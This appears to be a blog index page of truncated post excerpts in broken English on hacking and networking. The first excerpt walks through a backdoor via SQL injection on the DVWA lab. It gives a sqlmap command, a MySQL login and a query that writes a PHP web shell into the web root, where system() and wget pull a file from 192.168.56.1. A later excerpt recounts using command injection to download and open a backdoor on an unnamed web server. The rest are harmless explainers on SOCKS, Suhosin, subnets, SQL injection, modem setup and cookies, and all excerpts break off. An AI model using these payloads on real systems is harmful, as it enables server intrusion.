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To create backdoor from sql injection, the web must be vulnerable with sql injection. then we find the password for mysql database, that can be do with some tecnique, like social enginering or scanning with sqlmap, for exemple : root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=&Submit=Submit" --cookie="Cookie: security=high; PHPSESSID=5c0eecdbcf2a5acdee16c2b389be67e4" --password after we got the password, now we enter to mysql with the following sintax: root@bt:/pentest/database/sqlmap# mysql -h [host ip] -u root -p  then press enter and input the password we got. now we on my sql shell, and from here we can create database and create backdoor. this sample sintax to download backdoor from other web : mysql> select "<? system('wget 192.168.56.1/cn.txt -O bar.php'); ?>" into dumpfile '/opt/lampp/htdocs/dvwa/bad.php' --; Query OK, 1 row affected (0.00 sec) now we ...

SOCKS is an Internet protocol that routes network packets between a client and server through a proxy server. Socks5 additionally provides authentication so only authorized users may access a server. Practically, a SOCKS server will proxy TCP connections to an arbitrary IP address as well as providing a means for UDP packets to be forwarded. Comparison with HTTP Proxying SOCKS operates at a lower level than HTTP proxying: SOCKS uses a handshake protocol to inform the proxy software about the connection that the client is trying to make and may be used for any form of TCP or UDP socket connection, whereas an HTTP proxy takes an HTTP request and forwards it to an HTTP server. Though HTTP proxying has a different use-case in mind, the CONNECT method allows one to forward TCP connections, there is however no mechanism for UDP proxying.

This time I will write about the exploit servers , the exploit I do over the web is there in , and the web has vulner . I did the following steps :   First , I did a scan of the web to find out what applications are used , and I get the web using wordpress and xampp server applications , since both use the latest version so I do not get vurner . Second , I find that there are vulner used in gadgets , and I found a gadget for the vulner ping an ip , after my tests I found that I can run a variety of commant therein . Third , I wrote commant that serves to download a backdoor that I had prepared . and my backdoor successful entry into the web. F ourth , after a backdoor embedded it is time to find where the location of the embedded backdoor , it's not hard to do because we can use the vulner commant execution had to look for it . after found it, I open the backdoor. until...

In this case i learn to built system and

Suhosin is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. Suhosin comes in two independent parts, that can be used separately or in combination. The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections. Suhosin is an open source patch for PHP. "The goal behind Suhosin is to be a safety net that protects servers from insecure PHP coding practices." In some Linux distributions (notably Debian and Ubuntu) it is shipped by default. why is suhosin called suhosin ? According to some blog entries a few korean people are kinda suprised about the name. They wonder why a german developer has choosen a korean word for his project’s name. The reason for this is very simp...

A subnet allows the flow of network traffic between hosts to be segregated based on a network configuration. By organizing hosts into logical groups, subnetting can improve network security and performance. Subnet Mask Perhaps the most recognizable aspect of subnetting is the subnet mask . Like IP addresses, a subnet mask contains four bytes (32 bits) and is often written using the same "dotted-decimal" notation. For example, a very common subnet mask in its binary representation 11111111 11111111 11111111 00000000 is typically shown in the equivalent, more readable form 255.255.255.0 Applying a Subnet Mask A subnet mask neither works like an IP address, nor does it exist independently from them. Instead, subnet masks accompany an IP address and the two values work together. Applying the subnet mask to an IP address splits the address into two parts, an "extended network address" and a host address. For a subnet mask to be valid, its leftmost bits mus...

SQL injection SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. Incorrectly   filtered   escape   characters when the user   input   string   into a   form   that is not   filtered   then the   user   can   input   a   query that can be dangerous,   such as   display   tables or   even   delete...

1. Before installing we need to " wvdial " which can be obtained by :       apt - get install wvdial 2. if wvdial is installed , now we find out about the vendor and product of the usb device with the command :       lsusb  Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 005 Device 002: ID 1b1a:0000 Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 003 Device 002: ID 05c6:9004 Qualcomm, Inc.             <------ this our modem Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 002 Device 002: ID 064e:a103 Suyin Corp. Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub 3. Setting smart driver module with the following command :   ...

Terminologis Session cookie A session cookie only lasts for the duration of users using the website. A web browser normally deletes session cookies when it quits. A session cookie expires if the user does not access the website for a period of time chosen by the server (idle timeout). Persistent cookie A persistent cookie will outlast user sessions. If a persistent cookie has its Max-Age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to server every time the user visits the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookies are also called tracking cookies.   Secure cookie A secure cookie is only used when a browser is visiting a server via HTTPS, ensuring that the cookie is always encrypted when transmitting from client to server. This makes the cookie less likely to be exposed to cookie theft via eavesdropping. H...